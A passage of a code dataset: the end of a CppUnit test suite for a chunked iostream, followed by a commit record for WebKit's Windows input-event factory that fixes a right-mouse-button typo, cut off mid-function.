\tsingle_char_write(small_file, 32);\n \tsingle_char_read(small_file, 32);\n \tstring cmp = \"cmp \" + small_file + \" \" + small_file + \".plain\";\n \tCPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_1_text_file() {\n \tsingle_char_write(text_file, 32);\n \tsingle_char_read(text_file, 32);\n \tstring cmp = \"cmp \" + text_file + \" \" + text_file + \".plain\";\n \tCPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_1_big_file() {\n single_char_write(big_file, 28);\n single_char_read(big_file, 28);\n string cmp = \"cmp \" + big_file + \" \" + big_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n void test_write_1_read_1_big_file_2() {\n single_char_write(big_file_2, 28);\n single_char_read(big_file_2, 28);\n string cmp = \"cmp \" + big_file_2 + \" \" + big_file_2 + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n \/\/ these are the tests\n void test_write_1_read_128_small_file() {\n single_char_write(small_file, 32);\n read_128char_data(small_file, 32);\n string cmp = \"cmp \" + small_file + \" \" + small_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_128_text_file() {\n single_char_write(text_file, 32);\n read_128char_data(text_file, 32);\n string cmp = \"cmp \" + text_file + \" \" + text_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_128_big_file() {\n single_char_write(big_file, 28);\n read_128char_data(big_file, 28);\n string cmp = \"cmp \" + big_file + \" \" + big_file + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n void test_write_1_read_128_big_file_2() {\n single_char_write(big_file_2, 28);\n read_128char_data(big_file_2, 28);\n string cmp = \"cmp \" + big_file_2 + \" \" + big_file_2 + \".plain\";\n CPPUNIT_ASSERT(system(cmp.c_str()) == 0);\n }\n\n CPPUNIT_TEST_SUITE(chunked_iostream_test);\n\n CPPUNIT_TEST(test_write_1_read_1_small_file);\n CPPUNIT_TEST(test_write_1_read_1_text_file);\n CPPUNIT_TEST(test_write_1_read_1_big_file);\n CPPUNIT_TEST(test_write_1_read_1_big_file_2);\n\n CPPUNIT_TEST(test_write_1_read_128_small_file);\n CPPUNIT_TEST(test_write_1_read_128_text_file);\n CPPUNIT_TEST(test_write_1_read_128_big_file);\n CPPUNIT_TEST(test_write_1_read_128_big_file_2);\n\n CPPUNIT_TEST_SUITE_END();\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION(chunked_iostream_test);\n\nint\nmain(int argc, char *argv[])\n{\n GetOpt getopt(argc, argv, \"d\");\n char option_char;\n\n while ((option_char = getopt()) != EOF)\n switch (option_char) {\n case 'd':\n debug = 1; \/\/ debug is a static global\n break;\n default:\n break;\n }\n\n CppUnit::TextTestRunner runner;\n runner.addTest(CppUnit::TestFactoryRegistry::getRegistry().makeTest());\n\n bool wasSuccessful = true;\n string test = \"\";\n int i = getopt.optind;\n if (i == argc) {\n \/\/ run them all\n wasSuccessful = runner.run(\"\");\n }\n else {\n while (i < argc) {\n test = string(\"chunked_iostream_test::\") + argv[i++];\n if (debug)\n cerr << \"Running \" << test << endl;\n wasSuccessful = wasSuccessful && runner.run(test);\n }\n }\n\n return wasSuccessful ? 0 : 1;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2006-2009 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"WebInputEventFactory.h\"\n\n#include \"WebInputEvent.h\"\n\n#include <wtf\/Assertions.h>\n\nnamespace WebKit {\n\nstatic const unsigned long defaultScrollLinesPerWheelDelta = 3;\nstatic const unsigned long defaultScrollCharsPerWheelDelta = 1;\n\n\/\/ WebKeyboardEvent -----------------------------------------------------------\n\nstatic bool isKeyPad(WPARAM wparam, LPARAM lparam)\n{\n bool keypad = false;\n switch (wparam) {\n case VK_RETURN:\n keypad = (lparam >> 16) & KF_EXTENDED;\n break;\n case VK_INSERT:\n case VK_DELETE:\n case VK_HOME:\n case VK_END:\n case VK_PRIOR:\n case VK_NEXT:\n case VK_UP:\n case VK_DOWN:\n case VK_LEFT:\n case VK_RIGHT:\n keypad = !((lparam >> 16) & KF_EXTENDED);\n break;\n case VK_NUMLOCK:\n case VK_NUMPAD0:\n case VK_NUMPAD1:\n case VK_NUMPAD2:\n case VK_NUMPAD3:\n case VK_NUMPAD4:\n case VK_NUMPAD5:\n case VK_NUMPAD6:\n case VK_NUMPAD7:\n case VK_NUMPAD8:\n case VK_NUMPAD9:\n case VK_DIVIDE:\n case VK_MULTIPLY:\n case VK_SUBTRACT:\n case VK_ADD:\n case VK_DECIMAL:\n case VK_CLEAR:\n keypad = true;\n break;\n default:\n keypad = false;\n }\n return keypad;\n}\n\nWebKeyboardEvent WebInputEventFactory::keyboardEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebKeyboardEvent result;\n\n result.windowsKeyCode = result.nativeKeyCode = static_cast<int>(wparam);\n\n switch (message) {\n case WM_SYSKEYDOWN:\n result.isSystemKey = true;\n case WM_KEYDOWN:\n result.type = WebInputEvent::RawKeyDown;\n break;\n case WM_SYSKEYUP:\n result.isSystemKey = true;\n case WM_KEYUP:\n result.type = WebInputEvent::KeyUp;\n break;\n case WM_IME_CHAR:\n result.type = WebInputEvent::Char;\n break;\n case WM_SYSCHAR:\n result.isSystemKey = true;\n result.type = WebInputEvent::Char;\n case WM_CHAR:\n result.type = WebInputEvent::Char;\n break;\n default:\n ASSERT_NOT_REACHED();\n }\n\n if (result.type == WebInputEvent::Char || result.type == WebInputEvent::RawKeyDown) {\n result.text[0] = result.windowsKeyCode;\n result.unmodifiedText[0] = result.windowsKeyCode;\n }\n if (result.type != WebInputEvent::Char)\n result.setKeyIdentifierFromWindowsKeyCode();\n\n if (GetKeyState(VK_SHIFT) & 0x8000)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (GetKeyState(VK_CONTROL) & 0x8000)\n result.modifiers |= WebInputEvent::ControlKey;\n if (GetKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey);\n\n if (LOWORD(lparam) > 1)\n result.modifiers |= WebInputEvent::IsAutoRepeat;\n if (isKeyPad(wparam, lparam))\n result.modifiers |= WebInputEvent::IsKeyPad;\n\n return result;\n}\n\n\/\/ WebMouseEvent --------------------------------------------------------------\n\nstatic int gLastClickCount;\nstatic double gLastClickTime;\n\nstatic LPARAM GetRelativeCursorPos(HWND hwnd)\n{\n POINT pos = {-1, -1};\n GetCursorPos(&pos);\n ScreenToClient(hwnd, &pos);\n return MAKELPARAM(pos.x, pos.y);\n}\n\nvoid WebInputEventFactory::resetLastClickState()\n{\n gLastClickTime = gLastClickCount = 0;\n}\n\nWebMouseEvent WebInputEventFactory::mouseEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebMouseEvent result; \/\/(WebInputEvent::Uninitialized());\n\n switch (message) {\n case WM_MOUSEMOVE:\n result.type = WebInputEvent::MouseMove;\n if (wparam & MK_LBUTTON)\n result.button = WebMouseEvent::ButtonLeft;\n else if (wparam & MK_MBUTTON)\n result.button = WebMouseEvent::ButtonMiddle;\n else if (wparam & MK_RBUTTON)\n result.button = WebMouseEvent::ButtonMiddle;\n else\n result.button = WebMouseEvent::ButtonNone;\n break;\n case WM_MOUSELEAVE:\n result.type = WebInputEvent::MouseLeave;\n result.button = WebMouseEvent::ButtonNone;\n \/\/ set the current mouse position (relative to the client area of the\n \/\/ current window) since none is specified for this event\n lparam = GetRelativeCursorPos(hwnd);\n break;\n case WM_LBUTTONDOWN:\n case WM_LBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonLeft;\n break;\n case WM_MBUTTONDOWN:\n case WM_MBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonMiddle;\n break;\n case WM_RBUTTONDOWN:\n case WM_RBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonRight;\n break;\n case WM_LBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonLeft;\n break;\n case WM_MBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonMiddle;\n break;\n case WM_RBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonRight;\n break;\n default:\n ASSERT_NOT_REACHED();\n }\n\n \/\/ TODO(pkasting): http:\/\/b\/1117926 Are we guaranteed that the message that\n \/\/ GetMessageTime() refers to is the same one that we're passed in? Perhaps\n \/\/ one of the construction parameters should be the time passed by the\n \/\/ caller, who would know for sure.\n result.timeStampSeconds = GetMessageTime() \/ 1000.0;\n\n \/\/ set position fields:\n\n result.x = static_cast<short>(LOWORD(lparam));\n result.y = static_cast<short>(HIWORD(lparam));\n\n POINT globalPoint = { result.x, result.y };\n ClientToScreen(hwnd, &globalPoint);\n\n result.globalX = globalPoint.x;\n result.globalY = globalPoint.y;\n\n \/\/ calculate number of clicks:\n\n \/\/ This differs slightly from the WebKit code in WebKit\/win\/WebView.cpp\n \/\/ where their original code looks buggy.\n static int lastClickPositionX;\n static int lastClickPositionY;\n static WebMouseEvent::Button lastClickButton = WebMouseEvent::ButtonLeft;\n\n double currentTime = result.timeStampSeconds;\n bool cancelPreviousClick =\n (abs(lastClickPositionX - result.x) > (GetSystemMetrics(SM_CXDOUBLECLK) \/ 2))\n || (abs(lastClickPositionY - result.y) > (GetSystemMetrics(SM_CYDOUBLECLK) \/ 2))\n || ((currentTime - gLastClickTime) * 1000.0 > GetDoubleClickTime());\n\n if (result.type == WebInputEvent::MouseDown) {\n if (!cancelPreviousClick && (result.button == lastClickButton))\n ++gLastClickCount;\n else {\n gLastClickCount = 1;\n lastClickPositionX = result.x;\n lastClickPositionY = result.y;\n }\n gLastClickTime = currentTime;\n lastClickButton = result.button;\n } else if (result.type == WebInputEvent::MouseMove\n || result.type == WebInputEvent::MouseLeave) {\n if (cancelPreviousClick) {\n gLastClickCount = 0;\n lastClickPositionX = 0;\n lastClickPositionY = 0;\n gLastClickTime = 0;\n }\n }\n result.clickCount = gLastClickCount;\n\n \/\/ set modifiers:\n\n if (wparam & MK_CONTROL)\n result.modifiers |= WebInputEvent::ControlKey;\n if (wparam & MK_SHIFT)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (GetKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey); \/\/ FIXME: set META properly\n\n return result;\n}\n\n\/\/ WebMouseWheelEvent ---------------------------------------------------------\n\nWebMouseWheelEvent WebInputEventFactory::mouseWheelEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebMouseWheelEvent result; \/\/(WebInputEvent::Uninitialized());\n\n result.type = WebInputEvent::MouseWheel;\n result.button = WebMouseEvent::ButtonNone;\n\n \/\/ Get key state, coordinates, and wheel delta from event.\n typedef SHORT (WINAPI *GetKeyStateFunction)(int key);\n GetKeyStateFunction getKeyState;\n UINT keyState;\n float wheelDelta;\n bool horizontalScroll = false;\n if ((message == WM_VSCROLL) || (message == WM_HSCROLL)) {\n \/\/ Synthesize mousewheel event from a scroll event. This is needed to\n \/\/ simulate middle mouse scrolling in some laptops. Use GetAsyncKeyState\n \/\/ for key state since we are synthesizing the input event.\n getKeyState = GetAsyncKeyState;\n keyState = 0;\n if (getKeyState(VK_SHIFT))\n keyState |= MK_SHIFT;\n if (getKeyState(VK_CONTROL))\n keyState |= MK_CONTROL;\n\n POINT cursorPosition = {0};\n GetCursorPos(&cursorPosition);\n result.globalX = cursorPosition.x;\n result.globalY = cursorPosition.y;\n\n switch (LOWORD(wparam)) {\n case SB_LINEUP: \/\/ == SB_LINELEFT\n wheelDelta = WHEEL_DELTA;\n break;\n case SB_LINEDOWN: \/\/ == SB_LINERIGHT\n wheelDelta = -WHEEL_DELTA;\n break;\n case SB_PAGEUP:\n wheelDelta = 1;\n result.scrollByPage = true;\n break;\n case SB_PAGEDOWN:\n wheelDelta = -1;\n result.scrollByPage = true;\n break;\n default: \/\/ We don't supoprt SB_THUMBPOSITION or SB_THUMBTRACK here.\n wheelDelta = 0;\n break;\n }\n\n if (message == WM_HSCROLL)\n horizontalScroll = true;\n } else {\n \/\/ Non-synthesized event; we can just read data off the event.\n getKeyState = GetKeyState;\n keyState = GET_KEYSTATE_WPARAM(wparam);\n\n result.globalX = static_cast<short>(LOWORD(lparam));\n result.globalY = static_cast<short>(HIWORD(lparam));\n\n wheelDelta = static_cast<float>(GET_WHEEL_DELTA_WPARAM(wparam));\n if (message == WM_MOUSEHWHEEL) {\n horizontalScroll = true;\n wheelDelta = -wheelDelta; \/\/ Windows is <- -\/+ ->, WebKit <- +\/- ->.\n }\n }\n if (keyState & MK_SHIFT)\n horizontalScroll = true;\n\n \/\/ Set modifiers based on key state.\n if (keyState & MK_SHIFT)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (keyState & MK_CONTROL)\n result.modifiers |= WebInputEvent::ControlKey;\n if (getKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey);\n\n \/\/ Set coordinates by translating event coordinates from screen to client.\n POINT clientPoint = { result.globalX, result.globalY };\n MapWindowPoints(NULL, hwnd, &clientPoint, 1);\n result.x = clientPoint.x;\n result.y = clientPoint.y;\n\n \/\/ Convert wheel delta amount to a number of pixels to scroll.\n \/\/\n \/\/ How many pixels should we scroll per line? Gecko uses the height of the\n \/\/ current line, which means scroll distance changes as you go through the\n \/\/ page or go to different pages. IE 7 is ~50 px\/line, although the value\n \/\/ seems to vary slightly by page and zoom level. Since IE 7 has a smoothing\n \/\/ algorithm on scrolling, it can get away with slightly larger scroll values\n \/\/ without feeling jerky. Here we use 100 px per three lines (the default\n \/\/ scroll amount is three lines per wheel tick).\n static const float scrollbarPixelsPerLine = 100.0f \/ 3.0f;\n wheelDelta \/= WHEEL_DELTA;\n float scrollDelta = wheelDelta;\n if (horizontalScroll) {\n unsigned long scrollChars = defaultScrollCharsPerWheelDelta;\n SystemParametersInfo(SPI_GETWHEELSCROLLCHARS, 0, &scrollChars, 0);\n \/\/ TODO(pkasting): Should probably have a different multiplier\n \/\/ scrollbarPixelsPerChar here.\n scrollDelta *= static_cast<float>(scrollChars) * scrollbarPixelsPerLine;\n } else {\n unsigned long scrollLines = defaultScrollLinesPerWheelDelta;\n SystemParametersInfo(SPI_GETWHEELSCROLLLINES, 0, &scrollLines, 0);\n if (scrollLines == WHEEL_PAGESCROLL)\n result.scrollByPage = true;\n if (!result.scrollByPage)\n scrollDelta *= static_cast<float>(scrollLines) * scrollbarPixelsPerLine;\n }\n\n \/\/ Set scroll amount based on above calculations. WebKit expects positive\n \/\/ deltaY to mean \"scroll up\" and positive deltaX to mean \"scroll left\".\n if (horizontalScroll) {\n result.deltaX = scrollDelta;\n result.wheelTicksX = wheelDelta;\n } else {\n result.deltaY = scrollDelta;\n result.wheelTicksY = wheelDelta;\n }\n\n return result;\n}\n\n} \/\/ namespace WebKit\n<commit_msg>Fix typo. The right button is pressed when MK_RBUTTON is set.<commit_after>\/*\n * Copyright (C) 2006-2009 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"WebInputEventFactory.h\"\n\n#include \"WebInputEvent.h\"\n\n#include <wtf\/Assertions.h>\n\nnamespace WebKit {\n\nstatic const unsigned long defaultScrollLinesPerWheelDelta = 3;\nstatic const unsigned long defaultScrollCharsPerWheelDelta = 1;\n\n\/\/ WebKeyboardEvent -----------------------------------------------------------\n\nstatic bool isKeyPad(WPARAM wparam, LPARAM lparam)\n{\n bool keypad = false;\n switch (wparam) {\n case VK_RETURN:\n keypad = (lparam >> 16) & KF_EXTENDED;\n break;\n case VK_INSERT:\n case VK_DELETE:\n case VK_HOME:\n case VK_END:\n case VK_PRIOR:\n case VK_NEXT:\n case VK_UP:\n case VK_DOWN:\n case VK_LEFT:\n case VK_RIGHT:\n keypad = !((lparam >> 16) & KF_EXTENDED);\n break;\n case VK_NUMLOCK:\n case VK_NUMPAD0:\n case VK_NUMPAD1:\n case VK_NUMPAD2:\n case VK_NUMPAD3:\n case VK_NUMPAD4:\n case VK_NUMPAD5:\n case VK_NUMPAD6:\n case VK_NUMPAD7:\n case VK_NUMPAD8:\n case VK_NUMPAD9:\n case VK_DIVIDE:\n case VK_MULTIPLY:\n case VK_SUBTRACT:\n case VK_ADD:\n case VK_DECIMAL:\n case VK_CLEAR:\n keypad = true;\n break;\n default:\n keypad = false;\n }\n return keypad;\n}\n\nWebKeyboardEvent WebInputEventFactory::keyboardEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebKeyboardEvent result;\n\n result.windowsKeyCode = result.nativeKeyCode = static_cast<int>(wparam);\n\n switch (message) {\n case WM_SYSKEYDOWN:\n result.isSystemKey = true;\n case WM_KEYDOWN:\n result.type = WebInputEvent::RawKeyDown;\n break;\n case WM_SYSKEYUP:\n result.isSystemKey = true;\n case WM_KEYUP:\n result.type = WebInputEvent::KeyUp;\n break;\n case WM_IME_CHAR:\n result.type = WebInputEvent::Char;\n break;\n case WM_SYSCHAR:\n result.isSystemKey = true;\n result.type = WebInputEvent::Char;\n case WM_CHAR:\n result.type = WebInputEvent::Char;\n break;\n default:\n ASSERT_NOT_REACHED();\n }\n\n if (result.type == WebInputEvent::Char || result.type == WebInputEvent::RawKeyDown) {\n result.text[0] = result.windowsKeyCode;\n result.unmodifiedText[0] = result.windowsKeyCode;\n }\n if (result.type != WebInputEvent::Char)\n result.setKeyIdentifierFromWindowsKeyCode();\n\n if (GetKeyState(VK_SHIFT) & 0x8000)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (GetKeyState(VK_CONTROL) & 0x8000)\n result.modifiers |= WebInputEvent::ControlKey;\n if (GetKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey);\n\n if (LOWORD(lparam) > 1)\n result.modifiers |= WebInputEvent::IsAutoRepeat;\n if (isKeyPad(wparam, lparam))\n result.modifiers |= WebInputEvent::IsKeyPad;\n\n return result;\n}\n\n\/\/ WebMouseEvent --------------------------------------------------------------\n\nstatic int gLastClickCount;\nstatic double gLastClickTime;\n\nstatic LPARAM GetRelativeCursorPos(HWND hwnd)\n{\n POINT pos = {-1, -1};\n GetCursorPos(&pos);\n ScreenToClient(hwnd, &pos);\n return MAKELPARAM(pos.x, pos.y);\n}\n\nvoid WebInputEventFactory::resetLastClickState()\n{\n gLastClickTime = gLastClickCount = 0;\n}\n\nWebMouseEvent WebInputEventFactory::mouseEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebMouseEvent result; \/\/(WebInputEvent::Uninitialized());\n\n switch (message) {\n case WM_MOUSEMOVE:\n result.type = WebInputEvent::MouseMove;\n if (wparam & MK_LBUTTON)\n result.button = WebMouseEvent::ButtonLeft;\n else if (wparam & MK_MBUTTON)\n result.button = WebMouseEvent::ButtonMiddle;\n else if (wparam & MK_RBUTTON)\n result.button = WebMouseEvent::ButtonRight;\n else\n result.button = WebMouseEvent::ButtonNone;\n break;\n case WM_MOUSELEAVE:\n result.type = WebInputEvent::MouseLeave;\n result.button = WebMouseEvent::ButtonNone;\n \/\/ set the current mouse position (relative to the client area of the\n \/\/ current window) since none is specified for this event\n lparam = GetRelativeCursorPos(hwnd);\n break;\n case WM_LBUTTONDOWN:\n case WM_LBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonLeft;\n break;\n case WM_MBUTTONDOWN:\n case WM_MBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonMiddle;\n break;\n case WM_RBUTTONDOWN:\n case WM_RBUTTONDBLCLK:\n result.type = WebInputEvent::MouseDown;\n result.button = WebMouseEvent::ButtonRight;\n break;\n case WM_LBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonLeft;\n break;\n case WM_MBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonMiddle;\n break;\n case WM_RBUTTONUP:\n result.type = WebInputEvent::MouseUp;\n result.button = WebMouseEvent::ButtonRight;\n break;\n default:\n ASSERT_NOT_REACHED();\n }\n\n \/\/ TODO(pkasting): http:\/\/b\/1117926 Are we guaranteed that the message that\n \/\/ GetMessageTime() refers to is the same one that we're passed in? Perhaps\n \/\/ one of the construction parameters should be the time passed by the\n \/\/ caller, who would know for sure.\n result.timeStampSeconds = GetMessageTime() \/ 1000.0;\n\n \/\/ set position fields:\n\n result.x = static_cast<short>(LOWORD(lparam));\n result.y = static_cast<short>(HIWORD(lparam));\n\n POINT globalPoint = { result.x, result.y };\n ClientToScreen(hwnd, &globalPoint);\n\n result.globalX = globalPoint.x;\n result.globalY = globalPoint.y;\n\n \/\/ calculate number of clicks:\n\n \/\/ This differs slightly from the WebKit code in WebKit\/win\/WebView.cpp\n \/\/ where their original code looks buggy.\n static int lastClickPositionX;\n static int lastClickPositionY;\n static WebMouseEvent::Button lastClickButton = WebMouseEvent::ButtonLeft;\n\n double currentTime = result.timeStampSeconds;\n bool cancelPreviousClick =\n (abs(lastClickPositionX - result.x) > (GetSystemMetrics(SM_CXDOUBLECLK) \/ 2))\n || (abs(lastClickPositionY - result.y) > (GetSystemMetrics(SM_CYDOUBLECLK) \/ 2))\n || ((currentTime - gLastClickTime) * 1000.0 > GetDoubleClickTime());\n\n if (result.type == WebInputEvent::MouseDown) {\n if (!cancelPreviousClick && (result.button == lastClickButton))\n ++gLastClickCount;\n else {\n gLastClickCount = 1;\n lastClickPositionX = result.x;\n lastClickPositionY = result.y;\n }\n gLastClickTime = currentTime;\n lastClickButton = result.button;\n } else if (result.type == WebInputEvent::MouseMove\n || result.type == WebInputEvent::MouseLeave) {\n if (cancelPreviousClick) {\n gLastClickCount = 0;\n lastClickPositionX = 0;\n lastClickPositionY = 0;\n gLastClickTime = 0;\n }\n }\n result.clickCount = gLastClickCount;\n\n \/\/ set modifiers:\n\n if (wparam & MK_CONTROL)\n result.modifiers |= WebInputEvent::ControlKey;\n if (wparam & MK_SHIFT)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (GetKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey); \/\/ FIXME: set META properly\n\n return result;\n}\n\n\/\/ WebMouseWheelEvent ---------------------------------------------------------\n\nWebMouseWheelEvent WebInputEventFactory::mouseWheelEvent(HWND hwnd, UINT message,\n WPARAM wparam, LPARAM lparam)\n{\n WebMouseWheelEvent result; \/\/(WebInputEvent::Uninitialized());\n\n result.type = WebInputEvent::MouseWheel;\n result.button = WebMouseEvent::ButtonNone;\n\n \/\/ Get key state, coordinates, and wheel delta from event.\n typedef SHORT (WINAPI *GetKeyStateFunction)(int key);\n GetKeyStateFunction getKeyState;\n UINT keyState;\n float wheelDelta;\n bool horizontalScroll = false;\n if ((message == WM_VSCROLL) || (message == WM_HSCROLL)) {\n \/\/ Synthesize mousewheel event from a scroll event. This is needed to\n \/\/ simulate middle mouse scrolling in some laptops. Use GetAsyncKeyState\n \/\/ for key state since we are synthesizing the input event.\n getKeyState = GetAsyncKeyState;\n keyState = 0;\n if (getKeyState(VK_SHIFT))\n keyState |= MK_SHIFT;\n if (getKeyState(VK_CONTROL))\n keyState |= MK_CONTROL;\n\n POINT cursorPosition = {0};\n GetCursorPos(&cursorPosition);\n result.globalX = cursorPosition.x;\n result.globalY = cursorPosition.y;\n\n switch (LOWORD(wparam)) {\n case SB_LINEUP: \/\/ == SB_LINELEFT\n wheelDelta = WHEEL_DELTA;\n break;\n case SB_LINEDOWN: \/\/ == SB_LINERIGHT\n wheelDelta = -WHEEL_DELTA;\n break;\n case SB_PAGEUP:\n wheelDelta = 1;\n result.scrollByPage = true;\n break;\n case SB_PAGEDOWN:\n wheelDelta = -1;\n result.scrollByPage = true;\n break;\n default: \/\/ We don't supoprt SB_THUMBPOSITION or SB_THUMBTRACK here.\n wheelDelta = 0;\n break;\n }\n\n if (message == WM_HSCROLL)\n horizontalScroll = true;\n } else {\n \/\/ Non-synthesized event; we can just read data off the event.\n getKeyState = GetKeyState;\n keyState = GET_KEYSTATE_WPARAM(wparam);\n\n result.globalX = static_cast<short>(LOWORD(lparam));\n result.globalY = static_cast<short>(HIWORD(lparam));\n\n wheelDelta = static_cast<float>(GET_WHEEL_DELTA_WPARAM(wparam));\n if (message == WM_MOUSEHWHEEL) {\n horizontalScroll = true;\n wheelDelta = -wheelDelta; \/\/ Windows is <- -\/+ ->, WebKit <- +\/- ->.\n }\n }\n if (keyState & MK_SHIFT)\n horizontalScroll = true;\n\n \/\/ Set modifiers based on key state.\n if (keyState & MK_SHIFT)\n result.modifiers |= WebInputEvent::ShiftKey;\n if (keyState & MK_CONTROL)\n result.modifiers |= WebInputEvent::ControlKey;\n if (getKeyState(VK_MENU) & 0x8000)\n result.modifiers |= (WebInputEvent::AltKey | WebInputEvent::MetaKey);\n\n \/\/ Set coordinates by translating event coordinates from screen to client.\n POINT clientPoint = { result.globalX, result.globalY };\n MapWindowPoints(NULL, hwnd, &clientPoint, 1);\n result.x = clientPoint.x;\n result.y = clientPoint.y;\n\n \/\/ Convert wheel delta amount to a number of pixels to scroll.\n \/\/\n \/\/ How many pixels should we scroll per line? Gecko uses the height of the\n \/\/ current line, which means scroll distance changes as you go through the\n \/\/ page or go to different pages. IE 7 is ~50 px\/line, although the value\n \/\/ seems to vary slightly by page and zoom level. Since IE 7 has a smoothing\n \/\/ algorithm on scrolling, it can get away with slightly larger scroll values\n \/\/ without feeling jerky. Here we use 100 px per three lines (the default\n \/\/ scroll amount is three lines per wheel tick).\n static const float scrollbarPixelsPerLine = 100.0f \/ 3.0f;\n wheelDelta \/= WHEEL_DELTA;\n float scrollDelta = wheelDelta;\n if (horizontalScroll) {\n unsigned long scrollChars = defaultScrollCharsPerWheelDelta;\n SystemParametersInfo(SPI_GETWHEELSCROLLCHARS, 0, &scrollChars, 0);\n \/\/ TODO(pkasting): Should probably have a different multiplier\n \/\/ scrollbarPixelsPerChar here.\n scrollDelta *= static_cast<float>(scrollChars) * scrollbarPixelsPerLine;\n } else {\n unsigned long scrollLines = defaultScrollLinesPerWheelDelta;\n 